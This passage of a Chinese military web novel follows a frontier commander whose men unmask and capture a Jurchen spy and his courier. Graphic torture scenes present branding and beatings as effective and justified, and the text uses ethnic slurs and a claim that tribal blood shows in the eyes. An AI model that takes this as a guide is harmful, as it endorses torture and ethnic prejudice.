秦猛用罢早饭,披挂整齐,与妻妹简短话别,便领着亲兵队开始每日例行的巡视。
检视各队训练,顺道查看军寨各项建设的进展——这是他作为知寨官雷打不动的职责。
军营内,李山与刘铁柱正严苛地操练着自己的队伍。
李山率领刀盾队,刘铁柱指挥弓箭手队。二人不仅对士卒要求极高,更是以身作则,冲锋在前,以满腔的战意感染着麾下每一个人。
秦猛无需多问,就明白两人的心思。
这种你追我赶的较劲是好事,代表着整支队伍的活力。
人人不甘人后,自然会想方设法提升本事,推动全军不断变强。
军寨前门的空地上,秦大壮正率领步兵营演练战阵。
在飞虎精锐老兵的协助下,步兵营仅有三百人,尚未满编,变阵已越发娴熟,渐渐显露出可观的战力。
秦猛欣慰之余仍觉不足,认为协同极为生涩,队伍配合不默契,一旦指挥官阵亡,队伍必乱。
他沉思着改进之法,脑海中隐约浮现出“三三制”的雏形,打算回去后细细推敲,推行落实。
新区校场上,王铁山带队训练着新兵、民兵以及编外民兵。这是人数最众的一支队伍,加起来足有七八百人。
震天的喊杀声不仅驱散了风雪,更让寨中百姓感到心安。
秦猛望着校场中那些日益精悍的身影,脑海中又有新想法,决定将此地正式定为新兵训练营。
招募新兵训练,设定训期,考核通过者分配至各战斗序列。
如此形成完整链条,既可确保各队兵员素质,又能及时补充兵力,不影响队伍整体战力。
巡视完三处练兵场,已近正午。
秦猛没有返回官署,而是就近去了壮劳力伙房用饭,顺便巡视此处的卫生与伙食情况。
午饭主食是杂粮饭和汤饼,管饱供应。
配菜则是每人一大块肥腊肉,几样炖萝卜,炒青菜等时蔬,还有咸菜疙瘩与热气腾腾的鱼汤。
这般伙食放在任何地方都算得上丰厚。
壮劳力们吃得眉开眼笑,无不对知寨官交口称赞,感念其仁厚。
当看到秦猛带队过来,与他们同灶同食,吃着毫无二致的饭菜时,现场气氛更是热烈到了极点。
众人面色激动,纷纷起身行礼,齐声尊呼“大人”。
秦猛边吃边与大家闲话家常,毫不摆官员架子,言谈随和,态度亲切,全是关心寨中民众。
“这几日做工可还辛苦?粮食可都按时足额领到了?”
秦猛目光扫过众人,语气恳切:“诸位互相监管,若有管事的敢克扣粮饷,尽管来报我知晓。”
“”那天寒地冻,大家干活务必仔细,多注意脚下,千万别受伤。”
“你们是军寨的根基,有什么难处,可以直接上报。”
这些暖心的话,令这些壮劳力们从心底里感到敬服。
饭后,秦猛带着王善等人正欲前往军营查看骑兵队的训练情况,却见诸葛风神色凝重地匆匆寻来。
“将军,属下有要事禀报,事关军寨机密。”诸葛风声音压得极低,目光警惕地扫过四周。
“昨夜新区窝棚区出了些异常状况,我已传唤了目击者陈麻子,并请老保长核实了些情况。
需借步议事厅细谈。是有关那个有问题的人!”
秦猛眼神一凛,当即终止后续行程,带队折返官署议事厅。
窗户紧闭,厅内被烛火照得通明。
“大人。”老保长王槐等候在此,见秦猛进门,连忙起身。
诸葛风递上一卷文书:“将军,昨夜陈麻子撞见窝棚区的张五形迹可疑,我已派人暗中核查了张五的底细,也确认了陈麻子所言非虚。”
“您先听听陈麻子的证词。”
很快,陈麻子便被军汉引至正厅。他觉得事儿闹大了,神色局促不安,双手紧紧攥着衣角。
“把昨晚所见复述一遍。”诸葛风说道。
陈麻子抬眼瞥见秦猛一身戎装的威严模样,声音忍不住微微发颤:“秦…秦将军,昨夜小人因白日耽误了草料清点,只得趁夜去补数。
约莫三更时分,瞧见张五提着马灯,嚷嚷着肚子疼要去茅房。小人一眼就看出他那副样子是装出来的。当时觉得不对劲,便悄悄跟了上去。
“坐下说话。”秦猛身体微向前倾,示意亲兵搬张椅子给他。
“谢大人。”陈麻子只敢坐半边屁股,心里却踏实了许多。
他迅速将昨晚意外撞见的一幕,毫无隐瞒地汇报给了秦猛。
“大人,小人说的句句属实,绝无半点虚言。”陈麻子把看到的说完,拍着胸脯,信誓旦旦地保证。
“放心,我们自然是信你的。”秦猛笑着摆了摆手,继而问道:“不知你可还有其他发现?”
“有!这几天,那张五干活偷奸耍滑,总在军营外围转悠,还向我们打听粮仓看守换防的事儿。”
陈麻子把自己知道的全倒了出来,
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鼓起勇气道。
“这家伙肯定有问题!小人觉得,估计是混进来的奸细。这种事在边塞那时候,常有听闻。好多边堡被攻破都是因为这些狗东西捣鬼。”
“嗯,你做得很好。”秦猛称赞了一句,并未急着决断,而是看向诸葛风:“先生那边查证得如何?”
诸葛风起身回话,语气严肃:“我连夜派人查了张五的来历,他自称是遭**烧了村子的张家屯流民,是在您外出那几日,被招募进来的。
但暗哨回报,他平日里总找借口独自溜达,频繁靠近粮仓、库房这些重地,被问起就找理由搪塞。众人的说法,与陈兄弟所言基本吻合。
而且每次有车队入寨,他都要凑过去看,还偷偷数护卫人数、打量装备,对运粮车格外上心。”
“好,陈晓兄弟,只要此次顺利抓到奸细,你便是立了大功。”秦猛目光充满赞赏,对陈麻子道。
“到时可以转入辅兵,一百两赏银或是升任职位,由你选一样。”
“谢大人!”陈麻子闻言,又惊又喜,连连拜谢。
秦猛笑容收敛,话锋一转,语气极为严肃:“不过这消息至关紧要,绝不能走漏半点风声。所以这两日要委屈你一下,就留在官署里做些事,”
“遵命!”陈麻子学着兵卒的样子,挺直腰板领命。
随即他便被亲兵带下去休息。
“大人,昨夜我还加派了两个暗哨专门盯着他。”
诸葛风往前凑近些,低声道:“暗哨回报,天蒙蒙亮时,看见他溜出营房,在西北角哨塔底下徘徊了好一阵,像是在默记哨兵换班的时辰。见到我们的人靠近,才假装路过遮掩过去。”
一旁的老保长叹了口气,沉声道:“依老头子看,这八成是女真**派来的细作!
只有他们,对咱们大周这边的情况如此熟悉。此人对军中事务了解,肯定潜伏了不少年头。
怕是先前吃了亏,特意派来打探消息,想着报复!”
“老保长说得在理。”秦猛手指重重叩了下桌案,眼神锐利:“此獠定有同伙,不能轻举妄动。”
老保长和诸葛风流纷纷点头赞同。
随后,三人开始密商如何有效抓捕,不仅要抓捕张五一人,还要将隐藏的老鼠一网打尽。
最终一致决定增加暗哨,军寨内粮仓的看守换班时辰临时调整,巡逻时间改成随机没有规律。
并密切监视张五的一切行动,记录他与谁接触,有何异常举动。故意泄露假情报,引蛇出洞……
“我们要让他自以为得计,却不知早已落入我们的圈套。”秦猛冷声道,眼中闪过锐利的光芒。
“军寨刚刚有了起色,绝不能让这些**细作破坏了我们的心血,谁敢染指,那就杀光他们。”
“是!”王槐和诸葛风沉声回应!
窗外,训练的口号声依旧震天响,军寨一片生机勃勃。但在这表象之下,监视网悄然撒开。
一场看不见硝烟的战争已然拉开序幕。
第131章 引蛇出洞
午后,军寨并未因晨训结束而沉寂,反而愈发沸腾。
兵卒们仍在校场捉对厮杀、演练阵型,呼喝之声不绝于耳。
壮劳力们则分赴各处,协助巡逻、修建新的茅草屋舍、加固寨墙防御工事,一派热火朝天的景象。
突然,自幽州方向的官道上,传来一阵急促如闷雷的马蹄声!
一队风尘仆仆的骑兵,约十余人,盔甲染雪,策马狂奔至堡门之外。
为首骑士勒停坐骑,高举一枚刻有猛虎纹样的令牌,声音沙哑却极具穿透力:“虎贲军传令!有紧急军令,速报秦知寨!”
守门军士验明令牌真伪,不敢怠慢,迅速开门引其入内。
不久后,这队骑兵便被引入主寨官署。纷纷在外警戒,领队骑士与秦猛、诸葛风等人会谈。
兵卒严阵以待,任何人不得靠近官署。
会谈未持续多久,当那队传令兵再次飞马而出,绝尘而去后。整个军寨的气氛陡然为之一变!
一种无形而紧绷的弦仿佛被骤然拉紧。
军寨露出该有的狰狞,原本有序的忙碌瞬间转化为一种高效的、带着隐隐杀伐之气的全面动员。
随着一道道命令迅速下达:
铁匠作坊的所有师傅、学徒停下了手中的杂活,只锻造对付骑兵的箭头和铁蒺藜。
并将早已修缮保养完毕的铁甲、刀枪、枪头成批地取出,由专人清点后,迅速运往各营分配。
木工坊则推出了数辆大车,上面满载着新一批改良后的强弓硬弩,弓身油亮,弦索紧绷;脚踏式的巨型军弩,更是散发着冷硬的杀气。
裁缝作坊的妇人们也赶制出大批厚实的御寒披风、耐磨的皮靴和绑腿,被紧急送往前营。
而各处伙房更是烟雾蒸腾,火力全开,不再只是准备日常饭食,而是大规模烹制耐储存的肉干、烙饼,浓郁的麦香气中弥漫着备战的意味。
动静最大的,莫过于兵卒。
不仅仅是战兵营,所有民兵、乃至编外队伍都接到了明确的指令:暂停一切非必要劳务。即刻整理个人兵甲,检查装备,全员待命!
甚至从壮劳力中,也紧急抽调了数百名健壮者,补充入辅兵序列,负责协助运输、构筑工事。
整个军寨进入备战状态,仿佛一架骤然加速的战争机器,每一个齿轮都开始疯狂转动起来。
而不远处,飞虎卫的驻地更是兵马调动频繁。军寨往那里供应干粮,棉衣暖靴等物资。戒备等级明显提升,肃杀之气比主寨更胜一筹。
“军寨这…这是要有大动作了?真要打大仗了?”
这种毫不掩饰的备战态势,立刻给被刚刚抽调入运输队、正帮忙搬运箭矢的张五造成冲击。
他低着头,费力地扛着沉重的木箱,眼角余光却飞快地扫视着周围:
一队队全身披挂的兵卒快步跑过,军官们面色严肃地低声传达命令,车马辎重正在快速集中…空气中弥漫着一种大战将至的压抑和兴奋。
“不对…非常不对!”张五的心脏猛地一缩,背后瞬间渗出一层冷汗,“绝不是寻常的调动!伙房准备干粮,这架势,分明是即刻就要出征。
那队虎贲军来的骑兵…他们到底传来了什么命令?”
张五心中有不祥的预感,巨大的不安和机遇同时攫住了他。他必须想办法弄清楚发生了什么。
他一边机械地跟着队伍移动,一边飞速地转动脑筋,寻找着任何可以溜走或接触人物的机会。
张五眼角余光在忙碌的人群中贪婪而隐秘地搜寻着。
铁血军寨的战争机器已然轰然启动,而潜藏于其间的毒蛇,也悄然抬起了头,吐出了信子。
一场真正的风暴,似乎已迫在眉睫。
黄昏时分,劳累了一天的壮劳力们陆续涌入伙房。
空气中弥漫着粟米饭和炖菜的热气,人们捧着碗,三五成群地蹲着或站着,边吃边闲聊。
喧闹声充斥整个棚区。
张五端着粗陶碗,找了个不起眼的角落坐下,埋头默默进食。
这个化名张五的男人,其真实身份远非一个普通流民。
他不是纯粹的汉人,是母亲被女真鞑子掳掠到草原后才生下他。很小的时候,母亲被蹂躏致死。
他在草原女真部落长大,童年很不幸,自幼随着部落皮货商贩往来于部落与大周边镇之间。
长年的走南闯北,让他擅长买卖经商,能讲一口毫无破绽的流利汉话,熟知大周的风土人情,也练就了察言观色、谨慎行事的本事。
入冬前,他刚带队将部落急需的粮食、盐巴和铁器运回,本打算开春再带着皮毛药材入境交易。
却没想到部落在大周戍堡手下吃了亏。奉酋长之命,他乔装打扮,混入流民队伍,潜入这座让他部落损兵折将的军寨,目的就是摸清虚实。
就如眼下,张五的耳朵此刻正如猎犬般敏锐地捕捉着周围的每一丝声响,以及有用的信息。
连日来的潜伏让他神经紧绷,也越发娴熟,任何关于军寨动向的闲谈都可能是有价值的情报。
就在这时,隔壁桌几个刚交完柴火的工友压低了嗓门的议论,断断续续地飘进他的耳朵。
“……听说了么?好像要动真格的了……”
“……啥?寨兵又要拉练?”
“拉什么练!是真要出去!说是…配合飞虎卫那边…要过河…”
声音被一阵碗筷碰撞和旁人的大笑淹没,张五的心猛地提了起来,他下意识地屏住呼吸,装作捡故意来落地的筷子,向那边挪了半步。
另一人似乎接上了话头,声音更低:“虎贲军这回…好像是冲着他娘的女真…哪个部来着…”
“图…图鲁部吧?好像是这名…”
“嘘!小声点,当心祸从口出!”
“女真…图鲁…木部!”
这几个字如同惊雷,在张五耳边炸响。捡筷子的手在抖动,碗里的饭菜顿时变得味同嚼蜡。
他强作镇定,机械地将食物扒入口中,喉咙却干涩得难以吞咽,心里却早已翻江倒海。
这虎贲军要主动出击?过河攻打我的部落?
规模多大?目标是谁?
酋长知不知道?冬日部落人畜疲敝,若是被精锐寨兵和飞虎卫突袭……他不敢再想下去。
“必须把这个消息送出去!必须尽快!”^
张五在内心疯狂地呐喊,表面上却只能维持着麻木的平静。
早年与官府周旋、在边境险地行商练就的隐忍本事,此刻全用在了压抑内心的惊涛骇浪上。
好不容易熬到吃完饭,天色已渐黑。
张五没有像往常一样直接返回拥挤的附寨窝棚。
他捂着肚子,脸上挤出几分痛苦之色,这个老借口是张嘴就来,对同组的几人含糊道。
“哎哟,吃得太饱了,有些闹肚子,得去趟茅房。”
“你又拉肚子?快去快回。”
“知道了。”张五应了声,捂住肚子跑向茅房。却没发现身后几个同伴脸上露出一抹冷笑。
张五脚步略显匆忙,突然转向,借着渐浓的夜色和收工回营的人流掩护,溜向了军寨西北角。
——那片他凭借多年行商经验选定的、最僻静安全的联络点。
寒风卷着细碎的雪沫,刮过光秃秃的树枝,发出呜呜的声响。这里远离主要营区。
张五警惕地四下张望,侧耳倾听,确认周围只有风声。
他迅速闪到几块乱石后,熟练地解开裤带蹲下。
这是他记录重要信息的惯用手法,利用人最不设防的时刻完成最危险的动作,也能有借口。
但他这回的动作远不止于此。飞快地从贴身衣物隐蔽的夹层里,抽出一小卷薄如蝉翼的羊皮纸。
那上面,用他带来的特制炭笔,细细记录着这些天,他凭借过人的观察力搜集到的信息:
粮仓和武库的准确位置、守卫换岗的精确间隔、人数,以及巡逻队的速度,路径上的停顿……
连同重要的建筑等,这些都记录在羊皮纸上,等待约定的时候交给同伴,把消息传回部落。
此刻,张五以蹲姿为掩护,迅速将羊皮纸卷紧,塞进面前一块松动的大青石底下。
做完这一切,他又从地上摸起一小块早已备好的炭块,飞快地在旁边另一块不起眼的、略带青色的石块侧部,画了三个交叉的短线符号。
——这是他与外部接应的契丹游骑约定的最高等级紧急信号,代表“情报已放置,速取,万分火急!”
他仔细地用冻得发麻的手指抹去符号边缘的炭粉痕迹,看起来就像石头上天然的斑驳划痕。
正当他心下稍安,准备提起裤子,装作完事离开时——
一个冰冷带着嘲讽和戾气的声音,突然从他身后不远处响起:“啧啧啧,这大冬天儿的,撅着腚在这儿琢磨啥呢?给土地爷上供呢?”
第132章 雷霆收网夜
寂静的树林里,冷不丁的声音炸响。
张五浑身猛地一僵,血液仿佛瞬间冻结!他极其缓慢地回过头,心脏狂跳得几乎要撞破胸腔。
只见庞仁穿着一身常服,不知何时已悄无声息地站在几丈开外,双手抱胸,脸上挂着猫捉老鼠般的戏谑冷笑,眼神却如冰锥般刺骨。
“上次老子就觉着你小子不对劲,鬼鬼祟祟的,妈了个巴子的,你这个奸细,还敢来搞鬼?”
庞仁甩着脸子,骂骂咧咧地走上前。
几乎同时,四周阴影里,十几名手持钢刀的军卒无声地围拢上来,彻底封死了他所有退路。
嘎吱弓弦拉动,箭头反射着令人心寒的微光。
“你……你怎么会……”张五的声音因惊恐而颤抖,大脑一片空白,下意识就想伸手去摸那块藏匿着羊皮纸的青石,却被亲兵队将牛五上前扭住手腕,剧痛传来,让他瞬间动弹不得。
他走南闯北多年练就的镇定,此刻脸上浮现慌乱。
庞仁缓步逼近,居高临下地睨着他那煞白的脸:“你小子不是自称是并州张家屯逃难来的么?
嘿,真他娘巧了,咱军寨矿洞里,正好就有好几个从张家屯逃过来的老乡,咋没一个人认得你呢?
你这身汉话和做派,骗骗外人行,想糊弄老子?”
他嗤笑一声,唾沫星子几乎喷到张五脸上:“你以为学了几手蹩脚的把戏就真能瞒天过海了?
呸!从前天你小子第一次贼眉鼠眼往这儿溜达被老子撞见起,你裤裆里夹着什么玩意,一天拉屎几斤屎,就早有人给你数得明明白白了!”
张五的脸彻底失去了血色,身体开始不受控制地发抖,却仍存着一丝侥幸,挣扎着嘶喊道。
“我冤枉!我就是个普通流民!”
“吃多了,闹肚子找地方方便。你们凭什么抓我?”
“是不是流民,带到地牢里,老子自有办法让你开口说实话!”庞仁懒得再废话,朝牛五使了个眼色。
两名军士立刻粗暴地将张五双臂反剪,死死押住。
另一名军士则快步走到那堆乱石旁,精准地从青石底下摸出那卷羊皮纸,恭敬地递给庞仁。
庞仁展开扫了一眼,上面密密麻麻的标记和图形让他脸上冷笑更甚:“流民?普通流民身上带着这玩意儿?你这奸细还他妈画得挺细。”
最后的心理防线被彻底击溃,身份、动机、证据俱在,张五双腿一软,险些瘫倒在地。
然而,求生的本能和对部落的责任感在绝望中催生出最后的疯狂,他如同困兽般挣扎暴起,试图撞开军士逃跑,必须把消息送出去!
但站在他身旁的牛五,乃是军中有名的相扑好手,最擅擒拿格斗。
只见他冷哼一声,不慌不忙,侧身让过张五拼尽全力的冲撞,脚下巧妙一绊,同时大手一按一扭——
“咔嚓”一声轻微的脆响伴随着张五凄厉的惨叫,他的一条胳膊已被干脆利落地卸脱了臼。
牛五一个大嘴巴子甩在他脸上,张五脑袋偏摇,整个人如同被抽掉了骨头般,重重栽倒在地。
几个军汉将他捆绑,再也发不出任何像样的反抗。
他纵横草原与边镇的间谍生涯,或许就此断送。
“快,带回军寨地牢审讯!”庞仁厌恶地挥挥手。
众人一拥而上,拳打脚踢,将张五绳捆索绑,推推搡搡,朝着军寨内部那阴森的方向而去。
“将军说,引蛇出洞要做足了,不能有破绽。”庞仁边嘟囔边从怀里掏出一叠纸,塞到青石底下……
西北角的寒风依旧呼啸,很快便抹平了雪地上所有的痕迹,仿佛刚才那场抓捕从未发生过。
地牢深处,火光摇曳。
“说不说?说!给老子说!”一名赤膊军汉喘着粗气怒吼,鞭子抽在血肉上的闷响在石壁间回荡。
“呃啊——!”凄厉不似人声的惨叫骤然炸开,又戛然而止。
火把的光晕摇曳,映照着张五那张糊满污血的脸。
他被铁链呈大字型悬吊着,浑身赤裸,每一寸皮肤都在诉说酷刑的惨烈。
;皮肉焦糊的烙铁印、深可见骨的鞭痕、臀部早已烂成一团血肉,甚至连裆部也血肉模糊。
庞仁和王良几位彪悍军官轮番上阵,威逼利诱,刑具都用了一轮,却依旧撬不开那张紧咬的嘴。
张五啐出一口血沫,嘴唇早已被自己咬烂。
任凭如何盘问,他只是梗着脖子,声音嘶哑却异常顽固地重复:“我就是个逃难的流民……你们抓错人了……边军……就能胡乱栽赃吗?”
“够了。”诸葛风脸色阴沉,声音从角落响起,他挥手制止了又欲上前用刑的军士。
“将军有令,他知道的东西很多,别弄死了。给他治伤。”
他走上前,目光如冰冷的锥子,刺向那具不成人形的躯体。
“免受皮肉之苦不好么?”
诸葛风语气平静,却自带一股压人的气势,“羊皮纸上画的粮仓布局、巡哨时辰,是送给谁的?”
张五艰难地撩起眼皮,竟从喉咙里挤出一串破碎的狂笑:“呵…呵呵…有种…就杀了我…”
笑声牵动伤口,让他剧烈的咳嗽起来,随后,他便死死闭紧嘴巴,再也不肯吐露半个字。
——他早年在大周行商,与官府周旋多年,太清楚了:
一旦松口,就绝无活路。
唯有硬扛到底,才有一线生机。
诸葛风冷眼注视片刻,不再多言,只对牢头吩咐:“看紧了,按时送水送饭,别让他寻了短见。”
说罢,他转身走出这血腥的地牢,径直前往议事厅。
秦猛正靠坐在虎皮椅上,慢条斯理地拨着茶沫,见他进来,抬眼问道:“那厮可是招了?”
“果然如大人所料,油盐不进,是块硬骨头。”诸葛风颓然坐下,指尖烦躁地敲了敲桌面。
“打成那样还不开口,真是不要命了。”
“这不奇怪。”秦猛笑了笑,放下茶盏:“之所以嘴巴硬,这是个在草原长大的混血种。”
“混血种?”诸葛风微微一怔。
“没错。”秦猛语气笃定,“有汉人的体格骨架,但极度惊恐或愤怒时,眼底血丝会瞬间密布泛红——这是草原部族血脉里带的凶性。”
“大人明察秋毫,子壑佩服。”诸葛风脸上浮现惊愕,忙拱手称赞。(子壑,是他的表字)
秦猛将一杯热茶推到他面前:“这种人,在草原被视作异类,童年不幸,认知早已扭曲。他不恨践踏他的鞑子,反倒将一切苦难归咎于大周的腐败。”
他声音转冷:“一条被仇恨养大的无脊之犬,死不悔改。我敢断定,他常年混迹边境,熟知我朝内情。正因如此,他才明白交代得越早,死得越快。”
“大人之才,我不及也!”诸葛风叹服。
他亲眼所见,秦猛仅仅在抓捕送回军寨时扫过张五一眼,竟能将此人看透至此,着实可怕。
“哼,他不说,自有别人说。”秦猛指尖点过案上那张作为物证的羊皮纸,脸上笑容越发冰冷。
“今夜,务必依计行事,将他的同伙……一网打尽。”
……
夜色如墨汁般泼洒下来,将整座军寨浸染得一片漆黑。
西北风卷着雪沫,在寨墙下打着旋儿呜咽。
那块被张五暗中做了记号的青石板,在微弱的火光下泛着幽幽青光,像一柄埋在雪里的匕首。
寨外的寒风愈发凄厉,吹得枯枝发出鬼哭般的声响。
将近三更时分,一道黑影倏地从林间窜出,如夜豹般贴着寨墙根疾行——正是前来取情报的女真游骑。
他每走几步便骤然停顿,狼一般的眼睛在黑暗中扫视,耳廓微动,捕捉着每一丝异响。
待确定四周无人后,他倏地闪到青石板前,一只手始终按在腰间弯刀上,肌肉紧绷如满弓。
蹲下身时,皮靴碾碎薄冰的声响让他瞳孔一缩。指尖在石缝间摸索,触到那叠纸张的刹那,他喉结滚动了一下,迅速将情报塞入怀中。
就在他起身的瞬间,四周突然爆燃起十余支火把。
刺目的光芒如利剑劈开夜幕,将他照得无所遁形。
游骑下意识抬手遮眼,却见十余名军士大吼着,从阴影中暴起,铁甲碰撞之声铿锵如雷。
他还未及拔刀就被死死摁倒在雪地里,脸颊紧贴着刺骨的雪地。
“哼,带走!”王良的低喝斩断寒风。
一行人押着俘虏迅速没入黑暗,只留下雪地上凌乱的脚印,很快又被新一轮落雪悄然覆盖。
第133章 铁牢催硬骨
地牢里,昏暗潮湿,血腥味与霉腐气混杂弥漫。
嘎吱一声,铁皮门被猛地拽开。
张五听见动静逐渐靠近,勉力抬头,借着壁上幽暗的油灯光芒看清来人,脸色霎时惨白。
那是与他同行的伙伴,一名游骑。
“该死,必是树林探查时不慎,露了行迹……”张五眼底最后一点光亮熄灭,彻底被绝望吞噬。
他自幼长于女真部落,深知其规——主人认可,奴隶亦可为族人。
草原奉行的是弱肉强食的文化,而非纯粹的血统,部落成员因而来源复杂,忠诚二字,薄如蝉翼。
说成是“有奶便是娘”也不为过。
他眼睁睁看着那二十三四岁的青年被粗暴地拖到邻近的牢房。
起初,那青年还梗着脖子,试图维持女真儿郎的硬气。
但很快,当硬汉就遭到拷打,军士扒光他的上衣,蘸了盐水的皮鞭带着破空声狠狠抽下。
“啪!啪!”
每一下都皮开肉绽,青年凄厉的惨叫在地牢甬道中反复撞击、回荡,令人毛骨悚然。
“没骨气的软蛋!给老子狠狠地打!轮流上刑,不准停!”庞仁、王良等人凶残得很,环抱双臂,在一旁厉声喝骂,督促军士加大力度。
青年痛得翻起白眼,眼看就要晕厥,一桶夹杂着碎冰的冷水猛地兜头泼下。
刺骨寒意激得他一个剧烈哆嗦,神志瞬间“清醒”了,不得不继续承受这伤口如刀剐的痛楚。
一番彻底的下马威后,根本无需庞仁等人再多问。
当军士“嘿嘿”怪笑着,将烧得通红冒着白气的烙铁举到他眼前时,青年心理防线彻底崩溃。
烙铁还未沾身,他竟然如杀猪般哭嚎起来:
“我…我说!我全说!”汉语不标准,但却能听得清。
“我们是…是女真派来的细作!”
“哪个部落的?”审讯者厉声追问。
“图…啊——!”游骑刚稍一犹豫,通红的烙铁便迅速逼近胸膛,皮肤传来的剧烈灼痛让他发出更凄厉的惨嚎,“图鲁木部!是图鲁木部落!”
王良吩咐人把拷问结果记录下来。
庞仁大步上前,粗暴地揪住他的头发,强行将他的脸扭向张五的方向,恶狠狠地喝问。
“那边绑着的是谁?”
“他…他是哈拉百户…不,是哈拉那丹,是我们的头儿……”
眼见那烙铁又逼近了些许,游骑吓得语无伦次,毫不犹豫地将张五彻底出卖。
张五听着同伙将己方底细和盘托出,身体里最后一丝力气也被抽空,彻底瘫软在冰冷的石柱上。
他眼神空洞地望着牢房污秽的地面。
一直冷眼旁观的诸葛风此刻才缓步走到东侧牢笼前,声音没有任何温度:“现在,你还有什么想说的?”
“杀了我吧。”张五嘴唇翕动,最终只吐出这沙哑而绝望的一句。
“你会说的。”诸葛风笃定地笑了笑,却并未立刻逼问,反而转身走到案桌旁,坐下记录。
不远处的刑讯,正“如火如荼”。
“你们此次潜入共有多少人?”
“三…三十多人。”
“军寨之内,可还混有你们的同党?”
“没…没有,入寨搜查太严,根本混不进来。”
“其余人藏在何处?”
“藏在十余里外的一座废砖厂里。”
“你们的目的是什么?”
“等…等哈拉百户传来布防图,趁夜烧了粮仓,劫…劫粮!”
“放你娘的屁!三十个人就敢来劫军寨的粮仓?”
王善、牛五等壮汉怒骂着:“肯定还有同伙,说!”
“我真不知道了……”游骑俘虏哭喊着摇头。
结果——
“嗤啦”一声瘆人的轻响,伴随着一股皮肉烧焦的糊味猛然扩散开来。
那块通红的烙铁毫不留情地摁在了俘虏身上。
张五在东侧牢房看得真真切切,那惨状让他心胆俱寒。
牢房内,最早被俘的那批女真俘虏蜷缩在角落,身上遍布烫伤鞭痕,此刻更是吓得瑟瑟发抖,原先的凶悍之气早已被无边的惊恐取代。
没过多久,西侧牢房便传来沉重的铁链剧烈晃动的哗啦声响。
紧接着,是军士凶狠的喝问。
再后来,便是那人再也无法忍受的、撕心裂肺的哀嚎。
——庞仁命人动用了特制夹棍,冰冷的铁索死死勒紧手指、脚趾骨骼,发出令人牙酸的“咯咯”声。
十指连心,那滋味,足以让任何硬汉崩溃。
果然,不到半刻钟,西侧便传来了带着哭腔的、彻底放弃的求饶声:“我…我说,我说。
河…河对岸有一处黑风岭,是部落的备用放牧场,那里有…有队伍驻扎。
原计划是等我们摸清边寨虚实后,便…便里应外合,发动夜袭报仇。
具体…具体何时动手,有多少人,我…我是真的不知道!这些…这些哈拉百户肯定知道!”
那俘虏断断续续地吐露完,竟还下意识地抬头望向东侧张五的方向,再一次将他置于绝境。
张五原本残存的最后一丝侥幸,此刻被彻底击得粉碎。
他听得浑身控制不住地颤抖,额头、后背瞬间沁出冷汗,连身上伤痕剧痛都仿佛感觉不到了。
他明白,同伙招供到这一步。
自己再硬扛下去,除了徒增痛苦,毫无意义。
当诸葛风再次踱步到他牢门前时,不等询问。
他抬起头,嗓音沙哑得如同被粗糙的砂纸打磨过:“窑厂后方…有一个隐蔽的暗门。前方空地…撒了铁蒺藜,埋了绊马索,还…还有三个弓箭手。后门藏在一堆草垛后面,极难发现。”
“军寨要的不是这些。”诸葛风盯着他,缓缓摇头。
“是…黑风岭?”张五瞳孔骤然紧缩,颤声试探。
“没错。”诸葛风语气平淡,却带着不容置疑的压力。
“将军让我转告你,你嘴巴严实,估计是妻儿关系。若你老实交代黑风岭和图鲁木部落的详情,我军踏平图鲁木部时,可放过你的家眷。
送他们去中原也罢,安置去江南亦可。军寨给钱给粮,衣食无忧,将军一诺千金,绝不食言。”
“那我…活不了了?”张五听出了那话外之音。
“是。”诸葛风没有任何委婉,直言不讳地说道:“秦将军说,他可以善待那些被掳掠为奴的汉家百姓。
也能体谅那些为保全部下性命而不得已投敌的败军之将。”
这番话,从一个文人口中说出,本显分量不足,但在此刻森严的地牢中,却重若千钧。
连正在用刑的军汉都不自觉地停了手,庞仁、王良、牛五等人皆屏息凝神,神色肃穆地聆听着。
“但他绝不会允许认贼作父、毫无道德底线之徒继续苟活于世。将军说,这种人活着便是祸害,浪费粮食。”
“你们知道什么?”张五闻言脸色剧变,情绪激动地挣扎起来,“为了活下去!我七岁就给他们当奴隶!像牛马一样拉磨、下地!睡在臭气熏天的马厩!吃的是连猪狗都不闻的糠饼……”
诸葛风只冷冷一句,便将他所有的辩驳堵了回去:“那你既已长大,有了力气,为何不想办法弄些耗子药,将那些狗东西一锅毒死?”
“我……”张五瞬间语塞,张着嘴,却发不出任何声音。
“哼,你的母亲被凌辱致死,你的村坊被焚毁一空,你的血仇深似海。
你不思报仇,反倒恨起了无力保护你们的大周,甚至转身帮起你的仇敌,去坑害那些与你母亲、与你昔日同胞遭遇同样苦难的可怜人!”
诸葛风眼神锐利如刀,一字一句,都狠狠剐在张五的心上。
“怪不得将军说,厌极了你们这等断脊之犬。多看一眼都嫌脏!你这种人,根本不配得到半分同情!”
“言尽于此。”诸葛风语气倏忽转回平静,却带着更深的压迫感,“重新回到那个问题吧。”
“我明确告诉你,你没有活命的机会。但将军会放过你的妻儿。
若你执迷不悟,依旧不肯透露黑风岭的实情,那就休怪我军破寨之后,刀下无情,鸡犬不留。”
“对了,这或许也是为你那惨死的母亲。
为你那被捣毁的村坊,为你素未谋面的外公外婆和所有亲眷,报仇雪恨。
更是为千千万万被鞑虏残害的同胞,讨还一个公道!”
“时间不多了,最多再给你半刻钟……”
张五猛地垂下头,肩膀剧烈抖动,并未思考多久,便嘶声打断了诸葛风的话:“不必考虑了。
被擒之时,我便有死的觉悟!我选第一种!只求…只求贵寨言而有信,放过我几个孩子。”
“放心,将军言出必践!”
张五颓然垂首,声音低沉而快速:“河对岸往西北十里,黑风岭…确有据点。原驻有三百余人。
后来…后来部落前次在此吃了大亏,又增派了人马,现约有七百人,由哈达千夫长统一率领。
只等我们传回军寨的详细布防图,便…便会伺机夜袭……”
一刻钟后,诸葛风怀揣着墨迹未干的审讯册录,脚下生风般地离开地牢,快步折返议事厅。
第134章 围剿废窑厂
军寨,灯火通明。
角落里燃烧着火盆,温度也极为舒适。
诸葛风肩上落满雪花,裹挟着寒风推门而入。
“大人,这是审讯所得,达伦木部夜袭阴谋已基本清晰,其接应据点位置、兵力已标注于此。”
秦猛接过册子,目光如电,迅速扫过,旋即猛地一拍桌案:“好!果然如此。传我将令。”
“全军即刻集结,准备作战!”
今日一切调度实为引蛇出洞,然而,各项命令绝非虚文,早已为真正的夜袭做足了万全准备。
各处作坊已将应急物资分发到位,伙房也备足了三日干粮。
命令传下,各队兵卒迅速而无声地在堡寨后方的空地上集结列队,刀甲碰撞之声低沉而肃杀。
秦猛一身戎装,目光扫过麾下将领,迅速通报军情、下达指令,沉声嘱咐秦大壮、王铁山:“严守军寨,内部细作已除,但仍需防患于未然,随时准备接应,依计行事,不得有误!”
“哐啷——!”
